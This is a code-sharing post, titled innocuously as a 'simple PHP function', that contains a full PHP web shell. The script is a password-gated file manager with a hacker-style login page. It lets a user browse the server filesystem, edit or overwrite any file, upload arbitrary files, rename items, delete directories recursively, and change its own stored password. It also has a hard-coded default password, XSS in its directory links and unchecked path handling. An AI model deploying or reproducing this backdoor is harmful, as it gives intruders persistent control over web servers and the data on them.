Fungsi PHP Sederhana
2024-10-27 19:50:41 - Coderja
<?php
session_start();
// Fungsi untuk membaca file PHP ini
function getScriptContent() {
return file_get_contents(__FILE__);
}
// Fungsi untuk menyimpan konten baru ke file PHP ini
function saveScriptContent($content) {
file_put_contents(__FILE__, $content);
}
// Password yang benar (ubah sesuai keinginan Anda)
$correct_password = "password123";
// Fungsi untuk mengecek apakah user sudah login
function isLoggedIn() {
return isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true;
}
// Fungsi untuk menangani login
function handleLogin($password) {
global $correct_password;
if ($password === $correct_password) {
$_SESSION['loggedin'] = true;
return true;
}
return false;
}
// Fungsi untuk mengganti password
function changePassword($new_password) {
global $correct_password;
$script_content = getScriptContent();
$new_script_content = preg_replace(
'/(\$correct_password\s*=\s*\")[^\"]+(\")/',
'$1' . addslashes($new_password) . '$2',
$script_content
);
saveScriptContent($new_script_content);
$_SESSION['correct_password'] = $new_password;
$correct_password = $new_password;
}
// Fungsi untuk membuat folder
function createFolder($folder_name, $path) {
$target_dir = rtrim($path, '/') . '/' . $folder_name;
if (!is_dir($target_dir)) {
return mkdir($target_dir);
}
return false;
}
// Fungsi untuk mengunggah file
function uploadFile($file, $path) {
$target_file = rtrim($path, '/') . '/' . basename($file["name"]);
return move_uploaded_file($file["tmp_name"], $target_file);
}
// Fungsi untuk menghapus file
function deleteFile($file_path) {
if (is_file($file_path)) {
return unlink($file_path);
}
return false;
}
// Fungsi untuk menghapus direktori beserta isinya
function deleteDir($dir_path) {
if (!is_dir($dir_path)) {
return false;
}
$items = array_diff(scandir($dir_path), ['.', '..']);
foreach ($items as $item) {
$full_path = "$dir_path/$item";
is_dir($full_path) ? deleteDir($full_path) : unlink($full_path);
}
return rmdir($dir_path);
}
// Fungsi untuk membuat file baru
function createFile($file_name, $path) {
$target_file = rtrim($path, '/') . '/' . $file_name;
if (!file_exists($target_file)) {
return touch($target_file);
}
return false;
}
// Menangani form login
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password']) && !isLoggedIn()) {
if (handleLogin($_POST['password'])) {
header('Location: ' . $_SERVER['PHP_SELF']);
exit();
} else {
$login_error = "Password salah!";
}
}
// Menangani form penggantian password
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_password']) && isLoggedIn()) {
$new_password = $_POST['new_password'];
changePassword($new_password);
$password_change_success = "Password berhasil diganti!";
}
// Menangani form pembuatan folder
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_folder']) && isLoggedIn()) {
$folder_name = $_POST['folder_name'];
$current_path = $_POST['current_path'];
if (createFolder($folder_name, $current_path)) {
$folder_create_success = "Folder berhasil dibuat.";
} else {
$folder_create_error = "Gagal membuat folder.";
}
}
// Menangani form pengunggahan file
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit']) && isLoggedIn()) {
$current_path = $_POST['current_path'];
if (uploadFile($_FILES["file"], $current_path)) {
$file_upload_success = "File berhasil diunggah.";
} else {
$file_upload_error = "Gagal mengunggah file.";
}
}
// Menangani penghapusan file atau direktori setelah form di-submit
if (isset($_GET['delete']) && isLoggedIn()) {
$path_to_delete = $_GET['delete'];
if (is_dir($path_to_delete)) {
if (deleteDir($path_to_delete)) {
$delete_success = "Direktori berhasil dihapus.";
} else {
$delete_error = "Gagal menghapus direktori.";
}
} else {
if (deleteFile($path_to_delete)) {
$delete_success = "File berhasil dihapus.";
} else {
$delete_error = "Gagal menghapus file.";
}
}
}
// Menangani pembuatan file baru setelah form di-submit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_file']) && isLoggedIn()) {
$file_name = $_POST['file_name'];
$current_path = $_POST['current_path'];
if (createFile($file_name, $current_path)) {
$file_create_success = "File berhasil dibuat.";
} else {
$file_create_error = "Gagal membuat file.";
}
}
// Menangani penggantian nama file atau direktori setelah form di-submit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name']) && isset($_POST['old_name']) && isLoggedIn()) {
$old_name = $_POST['old_name'];
$new_name = $_POST['new_name'];
if (rename($old_name, dirname($old_name) . '/' . $new_name)) {
$rename_success = "Berhasil mengubah nama.";
} else {
$rename_error = "Gagal mengubah nama.";
}
}
// Menangani pengeditan file setelah form di-submit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_content']) && isset($_POST['file_to_edit']) && isLoggedIn()) {
$file_to_edit = $_POST['file_to_edit'];
$new_content = $_POST['file_content'];
if (file_put_contents($file_to_edit, $new_content) !== false) {
$file_edit_success = "Berhasil menyimpan perubahan.";
} else {
$file_edit_error = "Gagal menyimpan perubahan.";
}
}
// Menampilkan form login jika user belum login
if (!isLoggedIn()) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<style>
body {
background-color: #0f0f0f;
color: #00ff00;
font-family: 'Courier New', Courier, monospace;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.login-box {
background-color: #0b0b0b;
padding: 20px;
border: 1px solid #00ff00;
border-radius: 8px;
box-shadow: 0 0 10px #00ff00;
}
input[type="password"], input[type="submit"] {
display: block;
width: 100%;
padding: 10px;
margin: 10px 0;
background-color: #0b0b0b;
border: 1px solid #00ff00;
color: #00ff00;
font-family: 'Courier New', Courier, monospace;
}
input[type="submit"] {
cursor: pointer;
}
</style>
</head>
<body>
<div class="login-box">
<h2>Login</h2>
<?php if (isset($login_error)): ?>
<p><?php echo htmlspecialchars($login_error); ?></p>
<?php endif; ?>
<form method="post" action="">
<input type="password" name="password" placeholder="Enter Password" required>
<input type="submit" value="Login">
</form>
</div>
</body>
</html>
<?php
exit();
}
// Menampilkan form untuk mengganti password jika parameter URL 'change_password' ada
if (isset($_GET['change_password']) && isLoggedIn()) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Change Password</title>
</head>
<body>
<h2>Change Password</h2>
<?php if (isset($password_change_success)): ?>
<p><?php echo htmlspecialchars($password_change_success); ?></p>
<?php elseif (isset($password_change_error)): ?>
<p><?php echo htmlspecialchars($password_change_error); ?></p>
<?php endif; ?>
<form method="post" action="">
<input type="password" name="new_password" placeholder="Enter New Password" required>
<input type="submit" value="Change Password">
</form>
</body>
</html>
<?php
exit();
}
// Menampilkan form untuk mengubah nama file atau direktori
if (isset($_GET['rename']) && isLoggedIn()) {
$old_name = $_GET['rename'];
$is_directory = is_dir($old_name);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Rename <?php echo $is_directory ? 'Directory' : 'File'; ?></title>
</head>
<body>
<h2>Rename <?php echo $is_directory ? 'Directory' : 'File'; ?></h2>
<form method="post" action="">
<input type="text" name="new_name" placeholder="Enter New Name" required>
<input type="hidden" name="old_name" value="<?php echo htmlspecialchars($old_name); ?>">
<input type="submit" value="Rename">
</form>
</body>
</html>
<?php
exit();
}
// Menampilkan form untuk mengedit file
if (isset($_GET['edit_file']) && isLoggedIn()) {
$file_to_edit = $_GET['edit_file'];
if (is_file($file_to_edit)) {
$file_content = file_get_contents($file_to_edit);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Edit File</title>
</head>
<body>
<h2>Edit File</h2>
<form method="post" action="">
<textarea name="file_content" rows="20" cols="100"><?php echo htmlspecialchars($file_content); ?></textarea>
<input type="hidden" name="file_to_edit" value="<?php echo htmlspecialchars($file_to_edit); ?>">
<input type="submit" value="Save Changes">
</form>
</body>
</html>
<?php
exit();
}
}
// Menampilkan form untuk membuat folder
if (isset($_GET['create_folder']) && isLoggedIn()) {
$current_path = $_GET['path'] ?? getcwd();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Create Folder</title>
</head>
<body>
<h2>Create Folder</h2>
<form method="post" action="">
<input type="text" name="folder_name" placeholder="Folder Name" required>
<input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
<input type="submit" name="create_folder" value="Create Folder">
</form>
</body>
</html>
<?php
exit();
}
// Menampilkan form untuk mengunggah file
if (isset($_GET['upload_file']) && isLoggedIn()) {
$current_path = $_GET['path'] ?? getcwd();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload File</title>
</head>
<body>
<h2>Upload File</h2>
<form method="post" enctype="multipart/form-data" action="">
<input type="file" name="file" required>
<input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
<input type="submit" name="submit" value="Upload">
</form>
</body>
</html>
<?php
exit();
}
// Menampilkan form untuk membuat file baru
if (isset($_GET['create_file']) && isLoggedIn()) {
$current_path = $_GET['path'] ?? getcwd();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Create File</title>
</head>
<body>
<h2>Create File</h2>
<form method="post" action="">
<input type="text" name="file_name" placeholder="File Name" required>
<input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
<input type="submit" name="create_file" value="Create File">
</form>
</body>
</html>
<?php
exit();
}
// Menampilkan konten utama jika user sudah login
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
chdir($path);
// Memecah path menjadi bagian-bagian
$paths = explode(DIRECTORY_SEPARATOR, realpath($path));
// Menampilkan tautan logout dan ganti password
echo "<a href='?logout'>Logout</a> | ";
echo "<a href='?change_password'><button>Ganti Password</button></a> | ";
echo "<a href='?create_folder&path=$path'><button>Create Folder</button></a> | ";
echo "<a href='?create_file&path=$path'><button>Create File</button></a> | ";
echo "<a href='?upload_file&path=$path'><button>Upload File</button></a>";
echo "<hr>";
// Menampilkan jalur direktori saat ini
echo "<h2>Current Path:</h2>";
echo "<p>";
foreach ($paths as $i => $p) {
if ($i > 0) {
echo "/";
}
echo "<a href='" . $_SERVER['PHP_SELF'] . "?path=";
for ($j = 0; $j <= $i; $j++) {
if ($j > 0) {
echo "/";
}
echo $paths[$j];
}
echo "'>$p</a>";
}
echo "</p>";
// Menampilkan konten direktori saat ini
echo "<h2>Directory Listing:</h2>";
$items = scandir(getcwd());
echo "<ul>";
foreach ($items as $item) {
if ($item === "." || $item === "..") {
continue;
}
$full_path = realpath($item);
if (is_dir($full_path)) {
echo "<li>[DIR] <a href='" . $_SERVER['PHP_SELF'] . "?path=$full_path'>$item</a></li>";
echo " <a href='" . $_SERVER['PHP_SELF'] . "?rename=$full_path'>Rename</a>";
echo " <a href='" . $_SERVER['PHP_SELF'] . "?delete=$full_path'>Delete</a>";
} else {
echo "<li>[FILE] <a href='" . $_SERVER['PHP_SELF'] . "?edit_file=$full_path'>$item</a></li>";
echo " <a href='" . $_SERVER['PHP_SELF'] . "?rename=$full_path'>Rename</a>";
echo " <a href='" . $_SERVER['PHP_SELF'] . "?delete=$full_path'>Delete</a>";
}
}
echo "</ul>";
// Menampilkan hasil operasi
function displayOperationResult($success, $error) {
if ($success) {
echo "<p>$success</p>";
}
if ($error) {
echo "<p>$error</p>";
}
}
displayOperationResult($rename_success ?? null, $rename_error ?? null);
displayOperationResult($file_edit_success ?? null, $file_edit_error ?? null);
displayOperationResult($delete_success ?? null, $delete_error ?? null);
displayOperationResult($file_create_success ?? null, $file_create_error ?? null);
displayOperationResult($folder_create_success ?? null, $folder_create_error ?? null);
displayOperationResult($file_upload_success ?? null, $file_upload_error ?? null);
?>